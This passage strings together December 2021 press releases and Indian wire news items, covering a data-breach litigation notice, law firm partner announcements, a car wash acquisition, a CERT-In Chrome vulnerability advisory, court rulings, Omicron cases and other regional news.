advocating for radio policies and radio standards with the FCC and other governmental agencies and international organizations. Previously, Max was a product manager for RF base station products at Alcatel-Lucent, where he has formerly held several positions in technology development, technology planning, systems engineering, radio design, new product initiation and demonstration. He also held positions at Bell-Labs, ATT and Lucent Technologies, over a period of 22 years, all in the development of radio systems for base station products. Marc Adrat is Head of the Software Defined Radio (SDR) research group at the Fraunhofer Institute for Communication, Information Processing and Ergonomics FKIE, Germany. His research interests include digital signal processing for mobile tactical radio communications, waveform standardization, waveform application portability and interoperability, SDR software architecture frameworks as well as emerging technologies like in-band full-duplex communications. Since 2005, he has acted as an advisor for military SDR programs of the German Bundeswehr. He is also leading research task groups at the science and technology organization of NATO, and actively contributing to several SDR-related working groups at EDA and the WInnForum. Continuing members include Manuel Uhm (Xilinx), John Glossner (Optimum Semiconductor Technologies), Mark Gibson (Commscope), Ken Dingman (L3Harris), Naotaka Sato (Sony), Andrew Clegg (Google), Richard Bernhardt (WISPA), Prakash Moorut (Shure), Paul Challoner (Ericsson), Alberto Quintana (Indra), Pierre Jean Muller (RED Technologies), Dawn Szelc (MITRE), R. Muralidharan (Tata Advanced Systems), Jean Philipe Delahaye (DGA), David Gurney (Motorola Solutions), David Hagood (Cynosure), Doug Knisely (Qualcomm), Eric Nicollet (Thales), and Claude Belisle (Viavi Solutions). To learn more about the Forum visit http://www.WirelessInnovation.org. The Forum is supported by Platinum Sponsor, Thales. SOURCE Wireless Innovation Forum NEW YORK and SAN DIEGO, Dec. 14, 2021 /PRNewswire/ -- Wolf Haldenstein Adler Freeman & Herz LLP, a preeminent national consumer rights law firm, announces that it is investigating claims on behalf of current and former Metromile, Inc. ("Metromile") customers. Metromile is an insurance company. Defendant sells pay-per-mile automobile insurance and licenses its technology to other insurance companies. On or about March 5, 2021, Metromile began notifying customers and state Attorneys General about a data breach that occurred between July 2020 and January 2021 (the "Data Breach"). Metromile discovered a cybersecurity incident arising out of a software bug related to its online pre-filled quote form and application process. Based on its initial investigation, Metromile determined that unknown persons exploited the software bug to obtain personal information of certain individuals. Hackers obtained information from Metromile including the personally identifiable information of over one hundred thousand consumers, including, but not limited to, their driver's license numbers. If you received a NOTICE OF DATA BREACH from Metromile and you reside in the United States, if you wish to discuss this litigation, or if you have any questions regarding your rights and interests in this matter, please immediately contact Wolf Haldenstein by telephone at (800) 575-0735, via e-mail at [email protected], or visit our website at www.whafh.com PLEASE CLICK HERE TO FILL OUT CONTACT FORM Wolf Haldenstein Adler Freeman & Herz LLP has extensive experience in the prosecution of consumer rights litigation in state and federal trial and appellate courts across the country. The firm has attorneys in various practice areas and offices in New York, Chicago and San Diego. Courts have repeatedly recognized the reputation and expertise of this firm and have appointed it to major positions in complex consolidated litigation. Contact: Wolf Haldenstein Adler Freeman & Herz LLP Gregory Stone, Director of Case and Financial Analysis Rachele R. Byrd, Esq., Partner Email: [email protected] or [email protected] Tel: (800) 575-0735 or (619) 239-4599 Attorney Advertising. Prior results do not guarantee or predict a similar outcome. SOURCE Wolf Haldenstein Adler Freeman & Herz LLP With the mulberry silkworm industry as a core of its agricultural sector, Yizhou is accelerating the industry radiation capacity for the sericulture industry. By far, 29 silk processing enterprises settled in Yizhou with white steam filature output capacity of 11,000 tonnes, accounting for 71.85 percent of Guangxi's total. The district has ranked first among counties and districts in China in mulberry silkworm plantation areas for 16 consecutive years. According to Guangxi Jialian Silk Company, a local silk processing enterprise, while supplying silk products to well-known international brands, the company is also devoted to maintaining communication with luxury brand suppliers and adjusting the product structure to meet the new demand for international silk products constantly. According to industry insiders, enterprises from Italy, France, the United States, India, and other countries and regions also pay close attention to Yizhou's silk products, who added that efforts should be further made to improve product quality control and sustainable development capabilities of Yizhou's silk product. The improvement of the industrial chain has injected vitality into Yizhou to enhance the gathering capacity of silk industrial clusters and accelerated the settlement and production of silkworm processing enterprises in the Yizhou District. The first China High-quality Silk Industry Development Conference held in Yizhou District on December 10 witnessed the signing of more than 20 cooperation projects in the textile industry in Yizhou district, further enhancing the ecology of Yizhou's silkworm industry. Qin Chuncheng, party secretary of the Hechi Municipal CPC Committee, said that Hechi city would prioritize promoting the construction of silkworm planting and breeding base as well as cocoon and silk processing demonstration park in Yizhou district to become China's "New Silk Capital." Original link: https://en.imsilkroad.com/p/325345.html SOURCE Xinhua Silk Road WILMINGTON, Del., Dec. 15, 2021 /PRNewswire/ -- Young Conaway Stargatt & Taylor, LLP is pleased to announce that seven new partners have been elected to join the firm partnership, effective January 1, 2022. "Young Conaway is proud to welcome our newest partners," said Robert Brady, Chairman of the firm. "Our clients and co-counsel rely on the business insight and broad knowledge of Delaware case law that these attorneys possess to quickly and efficiently solve their problems and support long term strategic goals." Young Conaway's New Partners Effective January 1, 2022 Travis G. Buchanan is a member of Young Conaway's Bankruptcy and Restructuring Group, with experience in a wide array of chapter 11 matters, ranging from debtor practice and bankruptcy litigation to mass-tort insolvencies and settlement trusts. He often serves as counsel to the legal representatives appointed by courts to safeguard the rights and interests of future claimants in bankruptcy matters involving mass torts. Travis graduated from Duke University School of Law. He has a master's degree (M.A.) from Boston University and an undergraduate degree (B.A.) from Bowdoin College. Travis is admitted to practice in the State of Delaware. Justin P. Duda focuses his practice in the area of business transactions, including mergers and acquisitions, corporate restructurings, and financing matters. Justin acts as outside counsel to a number of regional clients, whom he regularly advises in contractual and corporate governance matters. He also represents a number of institutional trustees and high net worth individuals looking to take advantage of Delaware's comprehensive trust laws and highly regarded court system, including with regards to transfers of trust situs, decantings, and trust modifications. Justin is a graduate of University of Pennsylvania Law School and earned his undergraduate degree (B.A.) from Dartmouth College. He is admitted to practice in the State of Delaware and the State of New York. Ashley E. Jacobs concentrates her practice on representing debtors, lenders, and other parties in chapter 11 cases, as well as foreign representatives in chapter 15 cases. Ashley has advised clients across a broad range of industries and has developed an efficient and pragmatic approach to solving complex issues arising in her cases. Clients and peers alike recognize Ashley for her legal excellence. She has been selected to participate in the Next Generation Program hosted by the National Conference of Bankruptcy Judges and recognized as a 2022 Best Lawyers: Ones to Watch. Ashley graduated cum laude from Boston University School of Law. She received her undergraduate degree (B.A.), magna cum laude, from the University of Delaware. She is admitted to practice in the State of Delaware. Allurie R. Kephart concentrates her practice on the wide variety of issues that can arise during the lifecycle of various types of businesses, including corporations and non-incorporated entities. Clients turn to Allurie as counsel for negotiation in various transactions, including joint ventures, financings, mergers, and acquisitions. Her business acumen and attention to detail adds value to complex transactions and produces favorable outcomes. She has represented numerous special conflicts committees on asset drop-downs, restructurings, and other interested transactions. Allurie graduated magna cum laude from Penn State Dickinson School of Law. She earned her undergraduate degree (B.A.) from The Pennsylvania State University. She is admitted to practice in the State of Delaware. Lakshmi A. Muthu focuses her practice on corporate litigation, primarily in the Delaware Court of Chancery, representing clients in connection with corporate governance and contractual disputes, books and records demands, and expedited requests for injunctive relief. She has particular expertise representing special litigation committees. Lakshmi served as a law clerk for the Honorable Kathaleen St. Jude McCormick of the Court of Chancery. Peers recognized Lakshmi as one of Best Lawyers: Ones to Watch 2022. Lakshmi graduated from New York University School of Law. She received her undergraduate degree (B.A.) from Johns Hopkins University. She is admitted to practice in Delaware. Nicholas J. Rohrer focuses his practice on complex commercial litigation in the Delaware Court of Chanceryincluding contractual disputes, corporate governance disputes, books and records actions, advancement proceedings, and litigation involving claims of breach of fiduciary duty and fraud. Nicholas has advised corporate boards regarding governance issues and has also represented special committees. Nicholas routinely litigates expedited matters in the Court of Chancery, including actions seeking expedited injunctive relief. Nicholas graduated from Boston University School of Law. He received his undergraduate degree (B.A.) from Cornell University. Nicholas is admitted to practice in Delaware. Robert M. Vrana assists clients with commercial litigation and intellectual property matters ranging from litigating patent infringement disputes to copyright, trademark, and trade secret counseling and litigation. He has experience in a wide variety of industries, including pharmaceuticals, medical devices, software, networking, and blockchain technology. Clients appreciate Rob's ability to effectively advocate for their goals by collaborating on particular approaches and sharing the inclinations of Delaware's judges. Rob graduated cum laude from Washington and Lee University School of Law. He received his undergraduate degree from the University of Pennsylvania. He is admitted to practice in the State of Delaware. Rob is an alumnus of the District of Delaware Federal Trial Practice Seminar and a member of the Delaware Chapter of the Federal Bar Association, Delaware State Bar Association, and the American Bar Association. Rob is also an Associate Member of the Board of Bar Examiners of the Delaware Supreme Court. He has been recognized by his peers as an IP Star-Rising Star in Managing Intellectual Property magazine and in Best Lawyers: Ones to Watch. About Young Conaway Stargatt & Taylor, LLP Young Conaway Stargatt & Taylor, LLP counsels national and international clients, handling sophisticated advisory and litigation matters involving bankruptcy, intellectual property, corporate and alternative entity law. Young Conaway also guides regional businesses through a myriad of employment, education, real estate, tax, estate planning, environmental, and banking issues. For additional information, contact Marketing and Business Development Director Felicia Gojmerac, [email protected], 302-571-5718, or follow us on LinkedIn or Twitter. SOURCE Young Conaway Stargatt & Taylor, LLP "We see this acquisition as an opportunity for both of these great brands to learn best practices from each other," said Gene Dinkens, CEO, ZIPS Car Wash. "Rocket Express is known for its exceptional customer service and extreme focus on a great car wash experience for every customer. We're confident that we can continue their legacy and bring their expertise to our growing chain of express locations across the country," he added. Rocket Express Car Wash is credited for introducing the industry to the very first Members Only express lane for Unlimited Wash Club Members, a feature ZIPS hopes to offer at many of its locations in the future. Rocket's strategic placement of its tunnels allowed them to construct the industry's longest conveyors, powered with the industry's leading technologies. The signature wave goodbye from the Rocket team, unlimited club members only lanes and a focused approach to excellence in their business model has earned the chain recognition in each community they have served. Rocket is consistently the recipient of the Idaho Statemen's Best of Treasure Valley Award, the Readers' Choice Awards by the Magic Valley Times-News, and the Best of Salt Lake City Award. Rocket Express customers can continue to expect this award-winning experience to continue through ZIPS leadership. "Our core values align so closely with ZIPS that we feel this transition will be a very smooth one for our loyal customers, our team members, and our vendors," said Joe Russell, co-owner and co-founder of Rocket Express Car Wash. "ZIPS began as a small chain of two stores, just like our brand, and we're very excited to see where this partnership leads us," he added. Russell will continue to work closely with ZIPS Chief Development Officer Mike Corey to identify and develop new locations across the West. "It was exciting and challenging to create an identifiable mega car wash brand, culture, and prototype that is respected and preferred by customers in the communities we serve and within the industry. I'm honored and grateful to see that what we developed and refined, over 12 years, has been so fully embraced by a company as super successful as ZIPS. Their capital and reach will allow Rocket Express to expand into new communities locally and beyond, and that brings me great joy," added Janet Russell, co-founder and co-owner, Rocket Express Car Wash. Founded in 2004, ZIPS Car Wash has grown from two Arkansas based locations to 226 locations across 22 states. In the last 60 days alone, ZIPS has acquired a three-store chain from Four Seasons Car Wash in Minnesota, an eight-store chain from Time to Shine Car Wash in Kentucky, and a two-store chain from Fast Lane Car Wash in Texas. "The growth we have experienced over the last year is a glimpse into what we are planning for in 2022," said Corey. "We will continue to develop existing markets and look towards strategic expansion into western states," he added. About ZIPS Car Wash ZIPS Car Wash, headquartered in Plano, Texas, is the largest privately held car wash operator nationwide. ZIPS is among the fastest growing express car wash chains in the country, operating more than 225 locations across 22 states. With over 17 years of car washing experience, ZIPS has invested in industry leading technology, creative hiring and training methods, local partnerships, and a laser-focus on customer care as driving forces behind ZIPS growing business model. ZIPS Car Wash is about much more than getting cars clean. Our #1 purpose is to make people happy, from our community outreach efforts and fundraising programs to our focus on employees. ZIPS strives for a great, clean, and fun customer experience. To learn more visit: zipscarwash.com. SOURCE ZIPS Car Wash Washington, Dec 15 : US Senate has approved a measure to lift the nation's borrowing limit by $2.5 trillion, just one day before the deadline set by Treasury Secretary, Janet Yellen for lawmakers to take action to prevent a default. The upper chamber on Tuesday voted 50-49 along party lines to raise the debt limit to roughly $31 trillion, after Minority Leader Mitch McConnell and Majority Leader Chuck Schumer struck a deal to allow Democrats to approve the measure through simple-majority votes in the evenly-split Senate The Democrats-held House of Representative is expected to quickly clear the legislation, which will then be sent to President Joe Biden for his signature, Xinhua news agency reported. The measure would increase the debt limit by $2.5 trillion, which is expected to last until 2023 without the need for another vote to raise the borrowing cap, avoiding another partisan fight over the debt ceiling issue before the mid-term elections in 2022. In mid-November, US Treasury Secretary, Janet Yellen already urged Congress to raise the federal government's debt limit by December 15 to avoid a potential default. Lucknow, Dec 15 : The Uttar Pradesh Anti-Terrorist Squad (UP ATS) has arrested a key member of a gang involved in the infiltration of Bangladeshis and Rohingyas in India. The man has been identified as Qayyum. The gang used to get Indian passports made for the Bangladeshis and Rohingyas using fake Hindu identities and would send them abroad for work. Inspector General ATS, Gajendra Kumar Goswami, said the name of Qayyum surfaced during questioning of the nine accused arrested from Kanpur and Kolkata on Monday. "We interrogated Qayyum, who was living in Katwaria Sarai, New Delhi, on a fake identity as Khokhan Sardar, at the ATS headquarters in Lucknow and then arrested him," the IG said. Goswami said that during questioning Qayyum revealed that he was a key member of the syndicate and was given the task of ensuring safe departure of Bangladeshis, Rohingyas from airports to their destination without any hassles. ATS officials said Qayyum is proficient in English and Hindi languages and was paid Rs 1 lakh for the task. "In case any Bangladeshi or Rohingya fumbled at the airport or landed in some trouble in any state, then Qayyum would tackle the situation," the officials said. ATS has also got a 12-day police custody remand of the nine Bangladeshis arrested from Kanpur on Monday with fake ID cards. New Delhi, Dec 15 : The Indian Computer Emergency Response Team (CERT-In) has issued a 'high severity' warning for Google Chrome Internet browser users. As per the advisory, several vulnerabilities have been found in the Google Chrome browser that could be exploited by a remote attacker to execute arbitrary code on the targeted system. Google has already released a fix for these vulnerabilities in its latest software update for Chrome and it is highly advisable that Google Chrome users upgrade to the latest version soon. According to Google, 22 types of security fixes have been given in the latest Chrome browser, which works to increase user privacy. The government advisory as well as Google advised Chrome users to update to the latest version. Google recently updated the Chrome stable channel to 96.0.4664.93 for Windows, Mac and Linux, which is available for all users. In an advisory, CERT-In said, "Multiple vulnerabilities exists in Google chrome due to Type Confusion in V8; Use after free in web apps, UI, window manager, screen capture, file API, auto fill and developer tools; Incorrect security UI in autofill; Heap buffer overflow in extensions, BFCache and ANGLE; Type Confusion in loader; Insufficient data validation in loader; Integer underflow in ANGLE and Insufficient validation of untrusted input in new tab page." One can check for the available update on Chrome and update it by clicking the three vertical dots in the top right of the page. Click the About Chrome option and it will update. The Indian Computer Emergency Response Team is an office within the Ministry of Electronics and Information Technology of the Government of India. Prayagraj : , Dec 15 (IANS) The Allahabad High Court has directed the Uttar Pradesh government to file a reply in response to a PIL seeking the establishment of fast-track police courts in the state in wake of the alleged custodial death of 22-year-old Altaf at the Kasganj police station. The PIL suggested that the fast-track courts should adjudicate upon FIRs, complaints and petitions filed against police officers in cases of custodial torture, death, rape and other such offences. It also called for the enforcement of various guidelines laid down by the Supreme Court in such matters. Hearing a PIL filed by People's Union for Civil Liberties (PUCL), a division bench comprising Chief Justice Rajesh Bindal and Justice Piyush Agrawal passed the above order. According to the petitioner, one Altaf was called for questioning by the Uttar Pradesh Police and later found dead at the Kotwali in Kasganj district on November 9. In the petition, the PUCL said that the death of Altaf and other such persons in suspicious circumstances in police custody is viewed by any person of ordinary prudence as an institutional killing. The PIL requested the court to direct the central as well as the state governments to install CCTV cameras in all police stations and other such police offices of the CBI, NIA, etc., across the state of Uttar Pradesh as has already been directed by the apex court. It also sought a direction to duly equip the police officers with body-worn cameras and requisite technology for videography during investigations. With regard to Altaf's case, PUCL requested the court to direct the setting up of a high-powered committee, headed by a sitting or retired judge of the Allahabad High Court, to inquire into this case. Besides, it requested that the said committee be comprised of all relevant stakeholders and a panel of experts, to work out and provide for the appropriate, recommendations, mechanisms, modalities and guidelines to fill the gaping legal lacunae, as regards prosecution and punishment of police officers accused guilty of custodial torture/deaths/rapes. The PIL further requested the court to direct the Director General of Police (DGP), UP, district magistrate, Kasganj and superintendent of police (SP), Kasganj to ensure full police protection to the bereaved family of Altaf. December 15 : As Karan Johar and his close friends in the industry are celebrating 20 years of his film Kabhi Khushi Kabhie Gham, many have shared special videos on social media, recreating scenes from the film. Adding to it, director Karan shared a video on Tuesday evening, where his twins, Yash and Roohi, also seemed to be celebrating the hugely popular family drama. Taking to his Instagram handle, Karan shared a cute video, where he was seen scolding the munchkins and asking them to do their homework. Yash and Roohi, yall are both being naughty. Go to your homework, please, Karan told the kids in the video. The little ones immediately replied back in unison, Dadda, take a chill pill,. Take a chill pill, it seems, Karan said, in disbelief. Sharing the video, Karan wrote, It seems what goes around, comes back around and here I am being asked to take a chill pill by my own kids! Cheers to #20YearsOfK3G! He also added a laughing emoji. The video left many in splits. Ranveer Singh wrote, Hahahaahahahah. Bhumi Pednekar dropped heart emojis on the post. Fans showered love on Yash and Roohi, and called them sweet munchkins. A comment read as, I think we just spotted the two cutest little fans of k3g here. Others wrote, cuteness overloaded. A fan wrote, So cute! They're adorable! Take a chill pill is a popular sequence from the film, Kabhi Khushi Kabhie Gham. When Anjali (Kajol) tries to teach her son Krish (Jibraan Khan) the virtues of India, Rahul (Shah Rukh Khan) and Krish tell her to take a chill pill. Later, when Rahul objects to Poos (Kareena Kapoor) revealing outfits, Anjali and Daijaan (Farida Jalal) in unison ask him to take a chill pill. Many celebs including Kajol, Janhvi Kapoor, Sidharth Malhotra, Alia Bhatt, Ananya Panday, Johny Lever and Farah Khan have recreated scenes from the film. Karan shared a video with collage of the popular scenes from the film, and wrote about the legacy of the film. Taking to Instagram, Karan wrote, Overwhelmed with the endless love that has poured in from all corners of the world and the industry for celebrating this grand milestone that #KabhiKhushiKabhieGham hits today. Thank you falls short. A little piece of my heart for you on this day. And so it goes...it's all about loving your...family! From us to you, happy #20YearsOfK3G! Bengaluru, Dec 15 : The Karnataka High Court has quashed the orders of a lower court to conduct investigations against Bengaluru Police Commissioner Kamal Pant, DCP Central M.N. Anuchet and Cubbon Park police station inspector Maruthi in connection with failing to register case against former BJP minister regarding alleged Sex CD case. The bench headed by Justice Srinivasa Harish Kumar gave the order on Tuesday. The bench had observed that complainant Dinesh Kallahalli had not given sufficient information to police regarding his complaint and he had withdrawn it on March 7, 2021. Police Commissioner Kamal Pant had formed a Special Investigation Team (SIT) on March 11. The SIT has completed the probe and submitted its report. The police have also completed the investigation of a complaint filed by the victim woman on March 26 against former minister Ramesh Jarakiholi. The victim has also questioned the formation of SIT. The divisional bench of the High Court has directed SIT not to submit a report to the lower court which is looking into the matter. The magistrate court, has not considered all these factors while ordering investigation against police officers and it opined that the investigation order was not correct. The 8th ACMM (Additional Chief Metropolitan Magistrate) Court had given the order and also directed the police department to submit the report by February 1, 2022. The court had passed an order of inquiry for investigation of offences under section 166 A of IPC (the Penal Code holds police responsible for delays in registering an FIR after victim makes a complaint). Janaadhikara Sangharsha Parishath Co-President Adarsh R. Iyer had filed an PCR (Private Complaint) against Kamal Pant, Anucheth Aand Maruti for not registering case against former BJP minister Ramesh Jarakiholi in connection with alleged sex-CD scandal. The complaint registered against them on March 17 sought action against senior police officers for failing to register FIR on alleged offences of sexual intercourse by a person in authority such as the then minister of Water Resources, Ramesh Jarkiholi. The complaint was given by RTI activist Dinesh Kallahalli on March 2, 2021. The complaint was registered under 166-A of IPC (Nirbhaya Act). The senior police officers are accused of failing to carry out their duties in a disciplined manner, acting in a prejudiced manner against the complainant Dinesh Kallahalli as well as the purported victim, the complaint alleged. The complaint also mentioned that the officers displayed gross incompetence by buckling under the pressure of the powerful ruling political class, flouting laws of the land and Supreme Court of India guidelines with impunity. The petitioner also claimed that they brought disrepute to the independent working of the Karnataka State Police Force. Hyderabad, Dec 15 : Telangana on Wednesday reported the first case of Omicron with two air passengers from Kenya and Somalia testing positive for the new variant of Covid-19. Both the cases were detected among air passengers from non-risk countries. Both had arrived at Hyderabad International Airport on December 12 via Abu Dhabi and Qatar, a top health official said. A 24-year-old female had arrived from Kenya while a 23-year-old had come from Somalia. The Kenyan national has been isolated at Telangana Institute of Medical Sciences (TIMS) while health authorities were trying to trace the second case. Director of public health Dr G. Srinivasa Rao said two close contacts of the Kenyan national have also been sent for Covid-19 test. He said the cases were detected among two per cent tests being conducted randomly on passengers arriving from non-risk countries. Both had tested positive for Covid on arrival and their samples were sent for genome sequencing. The genome sequencing reports received Tuesday night showed them to be positive for Omicron. The official said both the cases were asymptomatic and there was no need for any panic. He also revealed that a seven-year-old boy who had landed at Hyderabad Airport along with family and later left for Kolkata also tested positive for Omicron. "We have informed the health department of West Bengal," he said. The director of public health said, none of the 5,396 passengers who arrived from at-risk countries have tested positive for Omicron. Eighteen of them had tested positive for Covid and their samples were sent for genome sequencing. While 15 have tested negative for the new variant, reports of three others were awaited. New Delhi, Dec 15 : Group Captain Varun Singh, who was injured in a military chopper crash on December 8, succumbed to his injuries. He was the lone survivor of the chopper crash in which Chief of Staff General Bipin Rawat, his wife Madhulika Rawat and 11 other armed personnel were killed in Coonoor in Tamil Nadu. Indian Air Force issued a statement on Wednesday saying, "IAF is deeply saddened to inform the passing away of braveheart Group Captain Varun Singh, who succumbed this morning to the injuries sustained in the helicopter accident on 08 Dec 21. IAF offers sincere condolences and stands firmly with the bereaved family." A day after the crash, he was rushed to Bengaluru for treatment. He was moved by a ambulance to Sulur then further moved to the Command Hospital in Bengaluru. His condition was stated to be very critical throughout. The Group Captain was recently conferred with the Shaurya Chakra by President Ram Nath Kovind for his act of exceptional gallantry. He was in the chopper along with General Rawat, who was on a visit to Defence Services Staff College at Wellington in Nilgiri Hills to address the faculty and student officers of the Staff Course, when the military chopper crashed. Bengaluru, Dec 15 : Three international passengers, who arrived from the United Kingdom, including a nine-year-old boy tested positive for Covid-19 at Kempegowda International Airport (KIA) in Bengaluru, Health Department sources said on Wednesday. The other two, a 25-year-old person and 18-year-old youth, along with the boy, have been shifted to a designated hospital. The contacts of these persons have been tracked and advised to remain in isolation. Their swab samples have been collected and sent for testing. Amid the fears of a third wave of Covid-19, the state Health Department is in a battle mode in taking preventive measures as far as arrivals from high-risk countries are concerned. Since last week, as many as 20 persons, who arrived from different countries, have tested positive for Covid-19. The results of genome sequencing are awaited for all 20 persons who have arrived from high risk countries on Wednesday. Of them, 12 are being treated at a government-designated hospital and the rest are being treated at private hospitals. The samples of five primary and 15 secondary contacts of a third Omicron positive patient have also been sent for genome sequencing. All are quarantined and their results are awaited. Luckily, the Health Department so far has managed to contain the infection from spreading to the community. The administration has a two-pronged strategy -- strict vigilance at the KIA and Mangaluru International airports on international arrivals and thrust on vaccination. Mumbai, Dec 15 : Director Vivek Ranjan Agnihotri, who is gearing up for the release of his movie 'The Kashmir Files', has said that people in India often assume things without even watching a film and that if a film is made about Kashmir then people have pre-conceived notions. Agnihotri, who was hosting multiple screenings in the US for 'The Kashmir Files', was asked about the kind of challenges he had to face while making this film. The filmmaker said: "People in India will say things without watching the film. Once you watch the film, you will understand what it is all about because your mind is limited with what you have seen before. If a film is being made about Kashmir then people have pre-conceived notions that 'ye aisi hogi ya waisi hogi' (It will be like this or that)." He added: "There are threats to your life. There is a fatwa issued in our name in Kashmir and there is threat to life. What can be worse than that? People talk about freedom of speech all the time." 'The Kashmir Files' is an upcoming Hindi-language film written and directed by Agnihotri starring Mithun Chakraborty and Anupam Kher. The film tells the story of exodus of Kashmiri Pandits. Agnihotri credited his wife and the film's producer Pallavi Joshi for encouraging him to make the movie. "The entire credit of making this film goes to Pallavi (Joshi) because she is the one who encouraged me to make this film, and with courage. As a wife and a mother, both our children were also working on this film." He added: "They accompanied us to Kashmir too and they have seen the kind of threats we got. They have seen a fatwa being issued in their father's name. We just thought of making this film and rightfully called it as Right to Justice." Kochi, Dec 15 : The Kerala High Court on Wednesday dismissed a plea challenging the reappointment of Kannur Vice Chancellor Gopinath Ravindran. This came as a relief for Vijayan, who has been under severe attack from several quarters, including Kerala Governor Arif Mohammed Khan. Khan, who after signing the reappointment had later backtracked, and said that his 'hands were tied and now he regrets the decision'. He even went public stating that he (Khan) no longer desires to continue as the Chancellor. The petition was filed by Kannur University senate member K. Premachandran and another person Shino Jose. After the verdict, the petitioners said they will approach the division bench of the High Court very soon. This relief comes at a time when the Congress and the BJP have demanded the resignation of State Higher Education Minister R. Bindhu whose two letters to Khan came out which showed that she was asking for the reappointment of Ravindran as Chancellor. Ravindran, reacting to the news, said that reappointments happen and "this was nothing new...it happened in several universities and what happened now was nothing but politics." "There is nothing wrong in the Pro-Chancellor (Minister Bindhu) recommending to the Chancellor. The Chancellor is a person with wide ranging experience in legal matter and politics," said Ravindran. The Save University Campaigners, however, pointed out that they will fight this 'illegal appointment' till the apex court and they will not back out. New Delhi, Dec 15 : Meta Founder and CEO Mark Zuckerberg on Wednesday announced that the company will expand its partnership with the Central Board of Secondary Education (CBSE) to provide a curriculum on digital safety, online well-being and augmented reality (AR) for over 10 million students and 1 million teachers in India. In addition, with the government's vision of universalising education, Meta and CBSE will help democratise the high school curriculum by allowing students access to quality educational content online through modules which would be made available on CBSE's website. "I am really excited about this partnership and I think it is a huge opportunity to [invest in] this entrepreneurial spirit and bring some of these tools around the metaverse, [AR], and training to the education system here in India," Zuckerberg said at Meta's 'Fuel for India, 2021' virtual event. Over the next three years, the partnership also aims to empower educators with new-age tools and skills needed to nurture the Generation Z and Generation Alpha students into responsible digital citizens. Aligned to the National Education Policy (NEP) 2020, Meta and CBSE will collaborate on content curation and development of curriculum integrating immersive technologies like AR and virtual reality (VR) that is relevant for the evolving in a digital landscape. "This partnership will help equip our teachers with requisite skills to effectively use online tools for student engagement," said Biswajit Saha, Director (Skills Education and Trainings), CBSE. "Understanding that the era of 'Digital India' has begun, we aim to build responsible digital citizens with the introduction of digital citizenship and augmented reality in the curriculum, along with providing quality educational content for all," Saha added. The first phase of 'FB for Education' initiative launched in June 2020 with an aim to prepare students and teachers for the future of work and creating a safe online environment and learning experience, witnessed over 500,000 students show interest for digital safety and online well-being and more than 14,000 teachers applied for training in AR. -- The story has been published from a wire feed without any modifications to the text Thiruvananthapuram, Dec 15 : An uneasy calm is prevailing among close to 10,000 employees at the mini-ratna public sector undertaking -- HLL, ever since the finance ministry began the process to disinvest it. The employees are deeply upset with the move and on the anvil are a series of protests which are expected to be announced anytime now by the employees. The government gave its "in-principle" approval for HLL's disinvestment in July and in their most latest advertisement released by the finance ministry's Department of Investment and Public Asset Management sought bids for a 100 per cent stake sale in the company by January 31, 2022. At present there are various categories of people employed at HLL which include 3,900 direct employees and the rest comprises of contract third party and laboratory staff. Established in 1966, HLL has come a long way as part of the implementation of the Family Planning Programme of Government of India under the Ministry of Health & Family welfare and from a contraceptive manufacturing company, in its journey from then, it is now a total healthcare company and in its growth trajectory it has won numerous accolades not only from the government but at international level too. What their employees are now saying in hush tones is that a healthcare company like HLL in the government sector provided absolute credibility to the general public through its products and services and what they are deeply upset about is that there is no word on the status of the present employees and what will happen to their future. "Just look at the Covid pandemic where we were rightly named as 'Mission Covid-19', the team at HLL fought all odds to ensure there is enough supply of medical equipment including surgical masks, protective suits, and safety goggles for the front-line medical workers across the country. Did such a thing happen in the private sector," asked an employee. The HLL have by now supplied medical devices to various medical institutions in 29 states and 7 Union Territories. "We will first approach the various political leadership to prevail upon them to see that HLL continues in the public sector and if it fails then we will have no other option but to go forward with a series of unique protests," added the distraught employee. The HLL ended the previous fiscal with a turnover of Rs 5,081 crore and had a profit of Rs 112 crore. "Over the years the credibility of HLL and its products and services have had an unblemished track record and when it turns private, naturally there will be a lot of compromises and the end result is, the common man will suffer," added the employee. Srinagar, Dec 15 : An 'A+' category terrorist of proscribed terror outfit Hizbul Mujahideen (HM) was on Wednesday killed in a gunfight with the security forces in South Kashmir's Pulwama district. He was involved in several terror crimes, including attack on policemen guarding a minority housing camp in 2018 at Zainapora in Shopian, in which four police personnel were killed. Police said during the intervening night of 14/15 December, acting on a specific input regarding the presence of a terrorist in Uzrampathri village of Pulwama, a joint cordon and search operation was launched by the Jammu and Kashmir Police, Army's 44 RR and 182 Battalion of the CRPF. "During the search operation, as the presence of terrorist got ascertained, he was given repeated opportunities to surrender; however, he fired indiscriminately upon the joint search party which was retaliated leading to an encounter," police said. In the ensuing encounter, one terrorist of the proscribed terror outfit HM was killed and his body was retrieved from the site of encounter. He has been identified as Feroz Ahmad Dar, a resident of Heff-Shrimal Shopian. "As per police records, the killed terrorist was A+ categorised terrorist and was part of groups involved in several terror crime cases, including attacks on security forces and civilian atrocities. Pertinently, the killed terrorist was active since 2017 and involved in several terror crime cases, including attack on the Minority Guard in December 2018 at Zainapora resulting in martyrdom of four police personnel and looting their service rifles. "He was also involved in killing of a girl, namely Ishrat Muneer, daughter of Muneer Ahmad Bhat, a resident of Dangerpora Pulwama in February 2019. He was involved in killing of a non local labour, namely Charnajeet, son of Hans Raj, a resident of Fazila Punjab and injuring other in October 2019 when they were loading apple boxes in a vehicle in the Zainapora area of Shopian. Besides, he was also instrumental in luring the gullible youth to join terrorist ranks," police said. Incriminating materials, arms and ammunition, including one AK rifle along with three magazines were also recovered from his possession. All the recovered materials have been taken into case records for further investigation, the police said. Police have registered a case and investigation has been initiated. New Delhi, Dec 15 : The BJP Rajya Sabha members on Wednesday protested against the Opposition which has been opposing suspension of its 12 lawmakers for the entire winter session. Raising a question over the attitude of members who were suspended for creating a ruckus in the Monsoon session, BJP Rajya Sabha member Roopa Ganguly who took part in the protest in the Parliament premises, said that the suspended MPs are not even ready to apologise for their misconduct. "They (suspended MPs) should personally apologise, because they cannot insult Parliament, she said. BJP Rajya Sabha member Rakesh Sinha said that the opposition has been continuously disrupting Question Hour and Zero Hour and not discussing BillS. "It is our moral protest against the opposition which has been damaging the dignity and decorum of Parliament," he said. "We demand that the Opposition should not show power where logic is required," he said. New Delhi, Dec 15 : The family of a robbery suspect on Wednesday alleged that Delhi Police personnel staged a dog fight at their residence located in Rohini area of the city, in which their pet dog was severely wounded and later succumbed to its injuries. The suspect's family has released a video of the incident which went viral on social media. According to the family, the incident took place on December 8 when around 10-12 people, of which some were in police uniform, barged into their residence at around 10-11 p.m. "On seeing visitors at late hours, our pet dog started barking at the cops, to which they responded by bringing their own dog, and staged a dog fight at our residence," read the complaint filed by the family. The kin also accused cops of misbehaving with the female members of the suspect's family. However, Delhi Police sources 